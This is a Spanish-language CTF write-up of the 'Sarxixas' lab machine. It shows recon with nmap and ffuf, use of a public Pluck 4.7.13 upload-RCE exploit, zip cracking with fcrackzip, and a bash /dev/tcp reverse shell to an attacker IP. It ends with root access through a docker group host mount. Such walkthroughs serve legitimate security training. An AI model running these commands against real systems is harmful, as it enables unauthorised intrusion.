> For the complete documentation index, see [llms.txt](https://galizaragozadev.gitbook.io/galizaragozadev-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://galizaragozadev.gitbook.io/galizaragozadev-docs/the-hackers-labs/sarxixas-avanzado.md).

# Sarxixas (Avanzado)

En primer lugar, ejecutamos `netdiscover` para sacar la IP del objetivo.

```sh
netdiscover

192.168.1.152   08:00:27:3a:db:da      1      60  PCS Systemtechnik GmbH
```

Con la IP averiguada, se puede proceder al reconocimiento inicial.

```sh
nmap -p- -sT -A -T5 192.168.1.152 -oN allPorts

PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)  
| ssh-hostkey:    
|   256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)  
|_  256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)  
80/tcp open  http    Apache httpd 2.4.57 ((Debian))  
|_http-generator: pluck 4.7.13  
| http-cookie-flags:    
|   /:    
|     PHPSESSID:    
|_      httponly flag not set  
| http-title: sarxixas - sarxixas  
|_Requested resource was http://192.168.1.152/?file=sarxixas  
|_http-server-header: Apache/2.4.57 (Debian)  
| http-robots.txt: 2 disallowed entries    
|_/data/ /docs/
```

Sólo al ver los resultados del escaneo, llama la atención el CMS, Pluck 4.7.13. Una consulta rápida en ExploitDB revela que la versión es vulnerable y en principio podemos obtener RCE.

```sh
searchsploit -w pluck 4.7.13                                
-------------------------------------------------------------------------------------------------------------------------------
Exploit Title                                                                      |  URL  
--------------------------------------------------------------------------------------------------------------------------------
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)               | https://www.exploit-db.com/exploits/49909  
--------------------------------------------------------------------------------------------------------------------------------

curl -o exploit.py https://www.exploit-db.com/raw/49909
```

Sin embargo, es necesario conocer la contraseña para poder obtener RCE, lo que nos lleva a `/login.php`.

## Probando

Intento fuerza bruta en el panel de login, pero tiene rate limiting y me bloquea tras algunos intentos. Después de expandir el reconocimiento con fuzzing, doy con un directorio interesante.

```sh
ffuf -u "http://192.168.1.152/FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 100 -c -r -ac  
-e .php,.html,.db,.conf,.config,.txt,.js,.py,.bak,.conf,.env,.jar,.csv,.xml,.md,.pdf,.zip,.rar,.jpg,.jpeg,.png,.db,.sql,.log,.json,.aspx,.cfg  
,.old,.phps,.pub,.pem,.cert,.key -of html -o bigExt_RootFuzz 

...

api                     [Status: 200, Size: 954, Words: 65, Lines: 17, Duration: 7ms]
```

En el hay un .zip llamado HostiaPilotes.zip, lo descargo y al tratar de extraerlo veo que está protegido por contraseña, pero se averigua rápido por fuerza bruta.

```sh
curl http://192.168.1.152/api/  
                                                                                                                                                
curl -O http://192.168.1.152/api/HostiaPilotes.zip                   
 % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current  
                                Dload  Upload  Total   Spent   Left   Speed  
100    411 100    411   0      0  73748      0                              0  
                                                                                                                                                
unzip HostiaPilotes.zip                                              
Archive:  HostiaPilotes.zip  
  creating: HostiaPilotes/  
[HostiaPilotes.zip] HostiaPilotes/contraseña.txt password:    
  skipping: HostiaPilotes/contraseña.txt  incorrect password  
                                                                                                                                rmdir HostiaPilotes    
                                                                                                                                fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt HostiaPilotes.zip  
  
  
PASSWORD FOUND!!!!: pw == babybaby

```

```sh
unzip HostiaPilotes.zip            
Archive:  HostiaPilotes.zip  
  creating: HostiaPilotes/  
[HostiaPilotes.zip] HostiaPilotes/contraseña.txt password:    
extracting: HostiaPilotes/contraseña.txt     
                                                                                                                                                
cat HostiaPilotes/contraseña.txt    
ElAbueloDeLaAnitta
```

Quizá con esto si funcione el exploit.

## exploit.py

Como se esperaba, el exploit funciona correctamente, y ya tenemos acceso mediante webshell a la máquina objetivo.

```sh
python exploit.py 192.168.1.152 80 ElAbueloDeLaAnitta /  
  
Authentification was succesfull, uploading webshell  
  
Uploaded Webshell to: http://192.168.1.152:80//files/shell.phar
```

Para pasarlo a una terminal y trabajar más cómodo en la escalada, ejecutamos esto en la webshell, habiéndonos puesto primero en escucha con `penelope -p 444`.

```sh
p0wny@shell:â¦/www/html# bash -c "bash -i >& /dev/tcp/192.168.1.140/444 0>&1"
```

Sanitizamos la shell.

```sh
www-data@sarxixas:/var/www/html$ export SHELL=bash  
www-data@sarxixas:/var/www/html$ export TERM=xterm-256color  
www-data@sarxixas:/var/www/html$ source /etc/skel/.bashrc    
www-data@sarxixas:/var/www/html$
```

Explorando encuentro un zip interesante, lo descargo con penelope a mi máquina kali, lo crackeo con `fcrackzip` y extraigo el contenido para analizar.

```sh
www-data@sarxixas:/$ ls /opt/

(Penelope)─(Session [1])> download /opt/edropedropedrooo.zip
```

```sh
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt edropedropedrooo.zip    
  
  
PASSWORD FOUND!!!!: pw == cassandra  
                                                                                                                                                
unzip edropedropedrooo.zip    
Archive:  edropedropedrooo.zip  
[edropedropedrooo.zip] pedropedropedrooo.txt password:    
extracting: pedropedropedrooo.txt      
                                                                                                                                                
cat pedropedropedrooo.txt          
3HBRD7XyxF5gAbkMmnWdW
```

Después de descartar que este en base64 y probarlo como contraseña, lo paso por el identificador de cifrado de [Boxentriq](https://www.boxentriq.com/analysis/cipher-identifier) y descubro que está codificado en base58, y traduce a "Quepasaolvidona". Tras un par de horas probando de todo, llego a la conclusión de que tiene que ser la contraseña obtenida del string en base58 lo que sirve para pivotar al usuario `sarxixa`. Al final, probando distintas combinaciones de la contraseña, consigo cambiar introduciendo "uepasaolvidona".

```sh
www-data@sarxixas:/var/www/html/files$ su sarxixa  
Password:    
sarxixa@sarxixas:/var/www/html/files$
```

## DockerPE

La escalada final, por suerte, resulta ser mucho más sencilla, como ya había observado previamente que el usuario `sarxixa` está en el grupo docker, levanto un contenedor montando la raíz del host en un directorio `/host` dentro del contenedor, ganando acceso a todos los archivos.

```sh
sarxixa@sarxixas:/var/www/html/files$ docker run -v /:/host -it alpine chroot /host bash  
root@81c4066f355d:/# cat /home/sarxixa/user.txt /root/root.txt    
**********************  
**********************
root@81c4066f355d:/#
```
